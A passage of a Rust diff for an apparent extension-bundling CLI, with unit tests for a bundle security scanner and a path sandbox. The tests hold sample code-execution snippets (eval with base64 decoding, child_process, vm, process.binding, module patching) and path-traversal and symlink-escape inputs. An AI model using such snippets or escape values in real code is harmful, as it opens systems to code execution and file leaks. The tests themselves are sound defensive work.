bundle_content.into_bytes(), - sha256, - artifact_name, - artifact_path, - size, - sourcemap_path, - temp_dir: temp_root, - }) -} - -/// Find the single `.mjs` output under `dir`. Fails if zero or multiple are present -/// (code-splitting / multi-chunk outputs are not supported). -async fn find_output_mjs(dir: &Path) -> Result { - let mut read_dir = tokio::fs::read_dir(dir) - .await - .map_err(|e| format!("failed to read temp dir: {e}"))?; - let mut found = Vec::new(); - loop { - match read_dir.next_entry().await { - Ok(Some(entry)) => { - let path = entry.path(); - if path.extension().and_then(|e| e.to_str()) == Some("mjs") { - found.push(path); - } - } - Ok(None) => break, - Err(e) => return Err(format!("failed to read temp dir entry: {e}")), - } - } - match found.as_slice() { - [only] => Ok(only.clone()), - [] => Err("esbuild produced no .mjs output file".to_owned()), - many => { - let list = many - .iter() - .map(|p| p.display().to_string()) - .collect::>() - .join(", "); - Err(format!( - "esbuild produced multiple .mjs outputs (code splitting not supported): {list}" - )) - } - } -} - -fn strip_sourcemap_comment(content: &str) -> String { - let stripped: Vec<&str> = content - .lines() - .filter(|line| !line.trim_start().starts_with("//# sourceMappingURL=")) - .collect(); - stripped.join("\n").trim_end().to_owned() -} - -fn sha256_hex(bytes: &[u8]) -> String { - sha2::Sha256::digest(bytes) - .iter() - .map(|b| format!("{b:02x}")) - .collect() -} - -// --------------------------------------------------------------------------- -// Tests -// --------------------------------------------------------------------------- - -#[cfg(test)] -mod tests { - use super::*; - - // ----------------------------------------------------------------------- - // line_number helper - // ----------------------------------------------------------------------- - - #[test] - fn line_number_first_line_start() { - assert_eq!(line_number("hello", 0), 1); - } - - #[test] - fn line_number_first_line_end() { - assert_eq!(line_number("hello", 4), 1); - } - - #[test] - fn line_number_second_line() { - let s = "line1\nline2"; - assert_eq!(line_number(s, 6), 2); - } - - #[test] - fn line_number_third_line() { - let s = "a\nb\nc"; - assert_eq!(line_number(s, 4), 3); - } - - #[test] - fn line_number_at_newline_char() { - let s = "a\nb"; - assert_eq!(line_number(s, 1), 1); - } - - #[test] - fn line_number_crlf_counts_only_lf() { - let s = "line1\r\nline2"; - assert_eq!(line_number(s, 7), 2); - } - - #[test] - fn line_number_empty_offset() { - assert_eq!(line_number("", 0), 1); - } - - // ----------------------------------------------------------------------- - // extract_snippet helper - // ----------------------------------------------------------------------- - - #[test] - fn extract_snippet_short_line() { - let s = r#"const x = eval("bad");"#; - let snip = extract_snippet(s, 10); - assert!(snip.contains("eval"), "snippet: {snip}"); - } - - #[test] - fn extract_snippet_truncates_long_line() { - let long = format!("{}MATCH{}", "a".repeat(40), "b".repeat(40)); - let pos = 40; - let snip = extract_snippet(&long, pos); - assert!(snip.contains("MATCH"), "snippet: {snip}"); - assert!(snip.len() <= 60, "snippet too long: {snip}"); - } - - #[test] - fn extract_snippet_does_not_cross_newlines() { - let s = "line1\neval(\"bad\")\nline3"; - let snip = extract_snippet(s, 6); - assert!(snip.contains("eval"), "snippet: {snip}"); - assert!(!snip.contains("line1"), "leaked into prev line: {snip}"); - assert!(!snip.contains("line3"), "leaked into next line: {snip}"); - } - - #[test] - fn extract_snippet_at_file_start() { - let s = "eval(\"x\") + 1"; - let snip = extract_snippet(s, 0); - assert!(snip.contains("eval"), "snippet: {snip}"); - } - - // ----------------------------------------------------------------------- - // strip_sourcemap_comment - // ----------------------------------------------------------------------- - - #[test] - fn strip_removes_sourcemap_line() { - let content = "const x = 1;\n//# sourceMappingURL=bundle.mjs.map\n"; - let result = strip_sourcemap_comment(content); - assert!(!result.contains("sourceMappingURL"), "result: {result}"); - assert!(result.contains("const x = 1;"), "result: {result}"); - } - - #[test] - fn strip_keeps_other_content_intact() { - let content = "const a = 1;\nconst b = 2;\n"; - let result = strip_sourcemap_comment(content); - assert!(result.contains("const a = 1;"), "result: {result}"); - assert!(result.contains("const b = 2;"), "result: {result}"); - } - - #[test] - fn strip_no_sourcemap_is_noop() { - let content = "const x = 1;"; - let result = strip_sourcemap_comment(content); - assert!(result.contains("const x = 1;"), "result: {result}"); - } - - // ----------------------------------------------------------------------- - // sha256_hex - // ----------------------------------------------------------------------- - - #[test] - fn sha256_empty_input() { - let hex = sha256_hex(b""); - assert_eq!(hex.len(), 64); - assert_eq!( - hex, - "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" - ); - } - - #[test] - fn sha256_known_value() { - let hex = sha256_hex(b"hello"); - assert_eq!( - hex, - "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824" - ); - } - - // ----------------------------------------------------------------------- - // Artifact naming / tsconfig / UI wrapper - // ----------------------------------------------------------------------- - - #[test] - fn sanitize_extension_name_scoped_and_special_chars() { - assert_eq!( - sanitize_extension_name("@scoped/extension"), - "scoped-extension" - ); - assert_eq!(sanitize_extension_name("My Extension!"), "my-extension"); - assert_eq!(sanitize_extension_name("@@@"), "extension"); - assert_eq!(sanitize_extension_name("."), "extension"); - assert_eq!(sanitize_extension_name(".."), "extension"); - assert_eq!(sanitize_extension_name("my.widget"), "my-widget"); - } - - #[test] - fn sanitize_extension_name_dot_handles_stay_under_temp_root() { - let temp_root = Path::new("/tmp/gd-cli/repo/deploy-ts-1"); - for handle in [".", ".."] { - let joined = temp_root.join(sanitize_extension_name(handle)); - assert!( - joined.starts_with(temp_root), - "handle {handle:?} escaped temp root: {joined:?}" - ); - assert_ne!( - joined, temp_root, - "handle {handle:?} collapsed to temp root" - ); - assert_ne!( - joined, - temp_root.parent().expect("parent"), - "handle {handle:?} resolved to temp parent" - ); - } - } - - #[test] - fn build_artifact_name_uses_handle_version_timestamp_hash() { - let name = build_artifact_name( - "@scoped/extension", - Some("1.0.0"), - "20250128143022", - "a3b2c1", - ); - assert_eq!(name, "scoped-extension-1.0.0-20250128143022-a3b2c1.mjs"); - } - - #[test] - fn build_artifact_name_defaults_missing_version() { - let name = build_artifact_name("widget", None, "20250128143022", "abcdef"); - assert_eq!(name, "widget-0.0.0-20250128143022-abcdef.mjs"); - } - - #[test] - fn format_timestamp_is_utc_compact() { - use chrono::TimeZone; - let ts = chrono::Utc - .with_ymd_and_hms(2025, 1, 28, 14, 30, 22) - .single() - .expect("valid utc"); - assert_eq!(format_timestamp(ts), "20250128143022"); - } - - #[test] - fn resolve_tsconfig_prefers_extension_local_over_repo_root() { - let root = tempfile::tempdir().expect("temp root"); - let ext = root.path().join("ext"); - std::fs::create_dir_all(&ext).expect("ext dir"); - std::fs::write(root.path().join("tsconfig.json"), "{}").expect("root tsconfig"); - std::fs::write(ext.join("tsconfig.json"), "{}").expect("local tsconfig"); - let resolved = resolve_tsconfig(&ext, root.path()).expect("local"); - assert_eq!(resolved, ext.join("tsconfig.json")); - } - - #[test] - fn resolve_tsconfig_falls_back_to_repo_root() { - let root = tempfile::tempdir().expect("temp root"); - let ext = root.path().join("ext"); - std::fs::create_dir_all(&ext).expect("ext dir"); - std::fs::write(root.path().join("tsconfig.json"), "{}").expect("root tsconfig"); - let resolved = resolve_tsconfig(&ext, root.path()).expect("root"); - assert_eq!(resolved, root.path().join("tsconfig.json")); - } - - #[test] - fn is_path_within_accepts_descendants_and_rejects_siblings() { - let base = Path::new("/repo/extensions"); - assert!(is_path_within(base, Path::new("/repo/extensions"))); - assert!(is_path_within(base, Path::new("/repo/extensions/widget"))); - assert!(is_path_within( - base, - Path::new("/repo/extensions/widget/src/index.ts") - )); - assert!(!is_path_within(base, Path::new("/repo/other"))); - assert!(!is_path_within( - base, - Path::new("/repo/extensions-extra/widget") - )); - } - - #[test] - fn resolve_extension_paths_accepts_handle_relative_source() { - let root = tempfile::tempdir().expect("temp root"); - let (ext_dir, source) = - resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget").expect("ok"); - assert_eq!( - ext_dir, - normalize_path(&root.path().join("extensions/widget")) - ); - assert_eq!( - source, - normalize_path(&root.path().join("extensions/widget/src/index.ts")) - ); - } - - #[test] - fn resolve_extension_paths_accepts_repo_relative_source_already_under_handle() { - let root = tempfile::tempdir().expect("temp root"); - let (ext_dir, source) = resolve_extension_paths( - root.path(), - "widget", - "extensions/widget/src/index.ts", - "Widget", - ) - .expect("ok"); - assert_eq!( - ext_dir, - normalize_path(&root.path().join("extensions/widget")) - ); - assert_eq!( - source, - normalize_path(&root.path().join("extensions/widget/src/index.ts")) - ); - } - - #[test] - fn resolve_extension_paths_accepts_repo_relative_source_with_handle_case_mismatch() { - let root = tempfile::tempdir().expect("temp root"); - let (ext_dir, source) = resolve_extension_paths( - root.path(), - "Widget", - "extensions/widget/src/index.ts", - "Widget", - ) - .expect("ok"); - // Prefer the handle's casing for the extension dir / source prefix. - assert_eq!( - ext_dir, - normalize_path(&root.path().join("extensions/Widget")) - ); - assert_eq!( - source, - normalize_path(&root.path().join("extensions/Widget/src/index.ts")) - ); - } - - #[test] - fn resolve_extension_paths_keeps_the_casing_that_exists_on_disk() { - let root = tempfile::tempdir().expect("temp root"); - let entry = root.path().join("extensions/widget/src/index.ts"); - std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); - std::fs::write(&entry, "export {}").expect("write"); - - let (ext_dir, source) = resolve_extension_paths( - root.path(), - "Widget", - "extensions/widget/src/index.ts", - "Widget", - ) - .expect("ok"); - assert!(ext_dir.is_dir(), "should use the directory on disk"); - assert!(source.is_file(), "should resolve to the file on disk"); - - let relative = - normalize_extension_source_for_config(root.path(), "Widget", "src/index.ts", "Widget") - .expect("normalize"); - assert_eq!(relative, "src/index.ts"); - } - - #[test] - fn is_path_within_ignores_ascii_case() { - assert!(is_path_within( - Path::new("/repo/extensions/Widget"), - Path::new("/repo/extensions/widget/src/index.ts") - )); - assert!(!is_path_within( - Path::new("/repo/extensions/Widget"), - Path::new("/repo/extensions/other/src/index.ts") - )); - } - - #[test] - fn resolve_extension_paths_rejects_handle_escaping_extensions() { - let root = tempfile::tempdir().expect("temp root"); - let err = resolve_extension_paths(root.path(), "../evil", "src/index.ts", "Evil") - .expect_err("escape handle"); - assert!( - err.contains("Invalid extension handle path"), - "unexpected: {err}" - ); - } - - #[test] - fn resolve_extension_paths_rejects_source_escaping_extension_dir() { - let root = tempfile::tempdir().expect("temp root"); - let err = resolve_extension_paths(root.path(), "widget", "../../secret.ts", "Widget") - .expect_err("escape source"); - assert!( - err.contains("Invalid extension source path for 'Widget'"), - "unexpected: {err}" - ); - } - - #[test] - fn dir_casing_on_disk_walks_nested_handle_segments() { - let root = tempfile::tempdir().expect("temp root"); - let nested = root.path().join("extensions/foo/bar"); - std::fs::create_dir_all(&nested).expect("mkdir"); - // Sibling that must NOT be chosen when resolving nested handle foo/Bar. - std::fs::create_dir_all(root.path().join("extensions/bar")).expect("mkdir sibling"); - - let extensions_root = normalize_path(&root.path().join("extensions")); - let candidate = normalize_path(&extensions_root.join("Foo/Bar")); - let resolved = dir_casing_on_disk(&extensions_root, &candidate); - let resolved_canon = std::fs::canonicalize(&resolved).expect("resolved exists"); - let nested_canon = std::fs::canonicalize(&nested).expect("nested exists"); - assert_eq!(resolved_canon, nested_canon); - assert_ne!( - resolved_canon, - std::fs::canonicalize(root.path().join("extensions/bar")).expect("sibling"), - "must not pick the top-level extensions/bar sibling" - ); - } - - #[test] - fn resolve_extension_paths_nested_handle_does_not_pick_sibling() { - let root = tempfile::tempdir().expect("temp root"); - let entry = root.path().join("extensions/foo/bar/src/index.ts"); - std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); - std::fs::write(&entry, "export {}").expect("write"); - std::fs::create_dir_all(root.path().join("extensions/bar")).expect("mkdir sibling"); - - let (ext_dir, source) = - resolve_extension_paths(root.path(), "Foo/Bar", "src/index.ts", "Nested").expect("ok"); - assert!(source.is_file()); - assert_eq!( - std::fs::canonicalize(&ext_dir).expect("ext dir"), - std::fs::canonicalize(root.path().join("extensions/foo/bar")).expect("nested"), - ); - } - - #[cfg(unix)] - #[test] - fn resolve_extension_paths_rejects_source_symlink_escaping_extension_dir() { - let root = tempfile::tempdir().expect("temp root"); - let ext_src = root.path().join("extensions/widget/src"); - std::fs::create_dir_all(&ext_src).expect("mkdir"); - let secret = root.path().join("secret.env"); - std::fs::write(&secret, "password").expect("write secret"); - std::os::unix::fs::symlink(&secret, ext_src.join("index.ts")).expect("symlink"); - - let err = resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget") - .expect_err("symlink escape"); - assert!( - err.contains("Invalid extension source path for 'Widget'"), - "unexpected: {err}" - ); - } - - #[cfg(unix)] - #[test] - fn resolve_extension_paths_rejects_extension_dir_symlink_escaping_extensions() { - let root = tempfile::tempdir().expect("temp root"); - std::fs::create_dir_all(root.path().join("extensions")).expect("mkdir"); - let outside = root.path().join("outside"); - std::fs::create_dir_all(&outside).expect("mkdir outside"); - std::os::unix::fs::symlink(&outside, root.path().join("extensions/widget")) - .expect("symlink"); - - let err = resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget") - .expect_err("dir symlink escape"); - assert!( - err.contains("Invalid extension handle path"), - "unexpected: {err}" - ); - } - - /// On case-sensitive volumes, a symlink into a differently cased sibling - /// (`EXTENSIONS` vs `extensions`) must not pass the realpath sandbox. - #[cfg(unix)] - #[test] - fn enforce_sandbox_realpath_rejects_differently_cased_sibling_after_canonicalize() { - let root = tempfile::tempdir().expect("temp root"); - let lower = root.path().join("extensions"); - let upper = root.path().join("EXTENSIONS"); - std::fs::create_dir_all(&lower).expect("mkdir lower"); - if std::fs::create_dir(&upper).is_err() { - // Case-insensitive volume — both names are the same directory. - return; - } - let lower_canon = std::fs::canonicalize(&lower).expect("canon lower"); - let upper_canon = std::fs::canonicalize(&upper).expect("canon upper"); - if lower_canon == upper_canon { - return; - } - - std::fs::write(upper.join("secret.ts"), "leak").expect("write"); - let link = lower.join("widget"); - std::os::unix::fs::symlink(&upper, &link).expect("symlink"); - - let err = enforce_sandbox_realpath(&lower, &link, || "escaped".into()) - .expect_err("case-variant sibling must not count as inside"); - assert_eq!(err, "escaped"); - } - - #[test] - fn normalize_extension_source_strips_to_handle_relative() { - let root = tempfile::tempdir().expect("temp root"); - let entry = root.path().join("extensions/widget/src/index.ts"); - std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); - std::fs::write(&entry, "export {}").expect("write"); - - let from_handle_rel = - normalize_extension_source_for_config(root.path(), "widget", "src/index.ts", "Widget") - .expect("ok"); - assert_eq!(from_handle_rel, "src/index.ts"); - - let from_repo_rel = normalize_extension_source_for_config( - root.path(), - "widget", - "extensions/widget/src/index.ts", - "Widget", - ) - .expect("ok"); - assert_eq!(from_repo_rel, "src/index.ts"); - } - - #[test] - fn normalize_extension_source_requires_existing_file() { - let root = tempfile::tempdir().expect("temp root"); - let err = normalize_extension_source_for_config( - root.path(), - "widget", - "src/missing.ts", - "Widget", - ) - .expect_err("missing file"); - assert!( - err.contains("Extension source file not found for 'Widget'"), - "unexpected: {err}" - ); - } - - #[test] - fn create_temp_directory_includes_pid() { - let root = Path::new("/tmp/my-app"); - let dir = create_temp_directory(root, "20250731120000"); - let name = dir.file_name().and_then(|s| s.to_str()).expect("dir name"); - assert!( - name.starts_with("deploy-20250731120000-"), - "unexpected: {name}" - ); - assert!( - name.ends_with(&format!("-{}", std::process::id())), - "unexpected: {name}" - ); - } - - #[tokio::test] - async fn ui_wrapper_embeds_absolute_entry_path() { - let root = tempfile::tempdir().expect("temp"); - let entry = root.path().join("src").join("index.ts"); - std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); - std::fs::write(&entry, "export function mount() {}").expect("write"); - let abs = absolute_entry_path(&entry).await; - assert!(abs.is_absolute(), "{abs:?}"); - let wrapper = create_ui_extension_runtime_wrapper(&abs); - assert!( - wrapper.contains(&abs.to_string_lossy().replace('\\', "\\\\")) - || wrapper.contains(abs.to_string_lossy().as_ref()), - "wrapper should import absolute path: {wrapper}" - ); - } - - #[test] - fn ui_runtime_wrapper_only_for_embed_and_checkout() { - assert!(should_use_ui_extension_runtime_wrapper( - ExtensionType::Embed - )); - assert!(should_use_ui_extension_runtime_wrapper( - ExtensionType::Checkout - )); - assert!(!should_use_ui_extension_runtime_wrapper( - ExtensionType::Blocks - )); - } - - #[test] - fn ui_runtime_wrapper_registers_contract() { - let wrapper = - create_ui_extension_runtime_wrapper(Path::new("/path/to/extension/src/index.ts")); - assert!(wrapper.contains("import * as userModule from")); - assert!(wrapper.contains("registry.register(contract)")); - assert!(wrapper.contains("GoDaddyUiExtensions")); - assert!(wrapper.contains(r#"typeof candidate.mount !== "function""#)); - } - - #[tokio::test] - async fn find_output_mjs_rejects_multiple_chunks() { - let dir = tempfile::tempdir().expect("temp"); - std::fs::write(dir.path().join("a.mjs"), "a").expect("a"); - std::fs::write(dir.path().join("b.mjs"), "b").expect("b"); - let err = find_output_mjs(dir.path()) - .await - .expect_err("multiple .mjs"); - assert!(err.contains("multiple .mjs"), "unexpected error: {err}"); - } - - #[tokio::test] - async fn find_output_mjs_returns_the_single_file() { - let dir = tempfile::tempdir().expect("temp"); - let path = dir.path().join("bundle.mjs"); - std::fs::write(&path, "export {}").expect("write"); - let found = find_output_mjs(dir.path()).await.expect("one .mjs"); - assert_eq!(found, path); - } - - /// Integration check against a minimal TS fixture when esbuild is on PATH - /// (or under a nearby node_modules/.bin). Skipped otherwise so CI without - /// Node still passes unit tests. - #[tokio::test] - async fn bundle_simple_blocks_fixture_when_esbuild_available() { - let esbuild = find_esbuild(); - if tokio::process::Command::new(&esbuild) - .arg("--version") - .output() - .await - .map(|o| !o.status.success()) - .unwrap_or(true) - { - // esbuild not installed — unit coverage above still runs. - return; - } - - let root = tempfile::tempdir().expect("temp root"); - let src_dir = root.path().join("src"); - std::fs::create_dir_all(&src_dir).expect("src"); - let entry = src_dir.join("index.ts"); - std::fs::write( - &entry, - r#"export const name = "simple-extension"; -export function handler() { return { success: true }; } -"#, - ) - .expect("entry"); - - let bundle = bundle_extension( - &entry, - ExtensionType::Blocks, - root.path(), - BundleOptions { - name: "simple-extension", - version: Some("1.0.0"), - repo_root: root.path(), - timestamp: Some("20250128143022"), - }, - ) - .await - .expect("bundle"); - let _cleanup = BundleCleanup::new(&bundle); - - assert!( - bundle - .artifact_name - .starts_with("simple-extension-1.0.0-20250128143022-"), - "artifact name: {}", - bundle.artifact_name - ); - assert!(bundle.artifact_name.ends_with(".mjs")); - assert!(bundle.artifact_path.is_file()); - assert!(bundle.size > 0); - assert_eq!(bundle.sha256.len(), 64); - let content = String::from_utf8_lossy(&bundle.bytes); - assert!( - content.contains("simple-extension") || content.contains("success"), - "bundle should retain exported strings: {content}" - ); - } - - // ----------------------------------------------------------------------- - // is_blocked - // ----------------------------------------------------------------------- - - #[test] - fn is_blocked_empty_findings() { - assert!(!is_blocked(&[])); - } - - #[test] - fn is_blocked_warn_only_returns_false() { - let findings = vec![Finding { - rule_id: "SEC108", - severity: Severity::Warn, - message: "test", - file: "f.mjs".to_owned(), - line: 1, - snippet: String::new(), - }]; - assert!(!is_blocked(&findings)); - } - - #[test] - fn is_blocked_block_finding_returns_true() { - let findings = vec![Finding { - rule_id: "SEC101", - severity: Severity::Block, - message: "test", - file: "f.mjs".to_owned(), - line: 1, - snippet: String::new(), - }]; - assert!(is_blocked(&findings)); - } - - #[test] - fn is_blocked_mixed_returns_true() { - let findings = vec![ - Finding { - rule_id: "SEC108", - severity: Severity::Warn, - message: "warn", - file: "f.mjs".to_owned(), - line: 1, - snippet: String::new(), - }, - Finding { - rule_id: "SEC101", - severity: Severity::Block, - message: "block", - file: "f.mjs".to_owned(), - line: 2, - snippet: String::new(), - }, - ]; - assert!(is_blocked(&findings)); - } - - // ----------------------------------------------------------------------- - // scan_bundle: general - // ----------------------------------------------------------------------- - - #[test] - fn scan_clean_content_no_findings() { - let findings = scan_bundle("const x = 1 + 2;\nconsole.log(x);\n", "clean.mjs"); - assert!(findings.is_empty(), "expected no findings: {findings:?}"); - } - - #[test] - fn scan_results_sorted_by_line() { - let content = "eval(\"first\");\nclean;\neval(\"second\");"; - let findings = scan_bundle(content, "test.mjs"); - let lines: Vec = findings.iter().map(|f| f.line).collect(); - let mut sorted = lines.clone(); - sorted.sort_unstable(); - assert_eq!(lines, sorted, "findings not sorted by line"); - } - - // ----------------------------------------------------------------------- - // SEC101 — eval / Function constructor - // ----------------------------------------------------------------------- - - #[test] - fn sec101_eval_call() { - let findings = scan_bundle(r#"const x = eval("code");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec101_eval_with_whitespace() { - let findings = scan_bundle(r#"x = eval ( "code" );"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_new_function_constructor() { - let findings = scan_bundle(r#"const f = new Function("return 1");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec101_bracket_function_constructor() { - let findings = scan_bundle(r#"const f = ["Function"]("return 1");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_globalthis_eval() { - let findings = scan_bundle(r#"globalThis.eval("code");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_globalthis_bracket_eval() { - let findings = scan_bundle(r#"globalThis["eval"]("code");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_window_eval() { - let findings = scan_bundle(r#"window.eval("code");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_self_eval() { - let findings = scan_bundle(r#"self.eval("code");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_eval_atob() { - let findings = scan_bundle(r#"eval(atob("aGVsbG8="));"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_eval_buffer_base64() { - let findings = scan_bundle(r#"eval(Buffer.from("aGVsbG8=", "base64"));"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC101"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec101_no_match_evaluation_variable() { - let findings = scan_bundle(r#"const evaluation = "test";"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC101"), - "unexpected SEC101: {findings:?}" - ); - } - - #[test] - fn sec101_no_match_word_boundary() { - let findings = scan_bundle(r#"function fooeval(x) { return x; }"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC101"), - "unexpected SEC101: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC102 — child_process (two-pass) - // ----------------------------------------------------------------------- - - #[test] - fn sec102_require_child_process_with_exec() { - let content = r#"var cp = require("child_process"); cp.exec("ls");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec102_require_node_child_process_with_spawn() { - let content = r#"var cp = require("node:child_process"); cp.spawn("ls");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec102_esm_import_with_exec() { - let content = r#"import { exec } from "child_process"; exec("ls");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec102_dynamic_import_with_spawn() { - let content = r#"const cp = await import("child_process"); cp.spawn("ls");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec102_bundler_helper_with_execsync() { - let content = r#"var cp = require_child_process(); cp.execSync("ls");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec102_fork_detected() { - let content = r#"var cp = require("child_process"); cp.fork("worker.js");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC102"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec102_exec_without_import_no_match() { - let findings = scan_bundle(r#"const r = exec("ls");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC102"), - "SEC102 should not fire without import: {findings:?}" - ); - } - - #[test] - fn sec102_no_signal_skips_rule() { - let findings = scan_bundle(r#"function fork() { return 1; }"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC102"), - "SEC102 should not fire without import signal: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC103 — vm module (two-pass) - // ----------------------------------------------------------------------- - - #[test] - fn sec103_require_vm_with_script() { - let content = r#"var vm = require("vm"); new vm.Script("code");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC103"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec103_require_node_vm_with_run() { - let content = r#"var vm = require("node:vm"); vm.runInNewContext("1+1", {});"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC103"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec103_esm_import_vm_with_run_in_this_context() { - let content = r#"import * as vm from "vm"; vm.runInThisContext("1+1");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC103"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec103_run_in_context() { - let content = r#"var vm = require("vm"); ctx.runInContext("code");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC103"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec103_create_context() { - let content = r#"var vm = require("vm"); vm.createContext({});"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC103"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec103_no_signal_skips_rule() { - let findings = scan_bundle(r#"ctx.runInNewContext("1+1", {});"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC103"), - "SEC103 should not fire without vm import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC104 — process.binding / dlopen (no signal required) - // ----------------------------------------------------------------------- - - #[test] - fn sec104_process_binding() { - let findings = scan_bundle(r#"process.binding("fs");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC104"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec104_process_linked_binding() { - let findings = scan_bundle(r#"process._linkedBinding("crypto");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC104"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec104_process_dlopen() { - let findings = scan_bundle(r#"process.dlopen(module, "binding.node");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC104"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec104_internal_binding() { - let findings = scan_bundle(r#"const b = internalBinding("crypto");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC104"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec104_bracket_binding() { - let findings = scan_bundle(r#"process["binding"]("fs");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC104"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec104_no_match_process_env() { - let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC104"), - "unexpected SEC104: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC105 — native addons (two-pass) - // ----------------------------------------------------------------------- - - #[test] - fn sec105_require_bindings_with_dot_node() { - let content = r#"var b = require("bindings"); b("native.node");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC105"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec105_require_ffi_napi_with_dot_node() { - let content = r#"var ffi = require("ffi-napi"); ffi.Library("lib.node");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC105"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec105_import_bindings_with_dot_node() { - let content = r#"import bindings from "bindings"; const x = bindings("mod.node");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC105"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec105_no_signal_skips_rule() { - let findings = scan_bundle(r#"require("./addon.node");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC105"), - "SEC105 should not fire without signal: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC106 — module monkey-patching (two-pass) - // ----------------------------------------------------------------------- - - #[test] - fn sec106_require_module_with_load_override() { - let content = r#"var Module = require("module"); Module._load = function() {};"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC106"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec106_import_module_with_resolve_override() { - let content = r#"import Module from "module"; Module._resolveFilename = function() {};"#; - let findings = 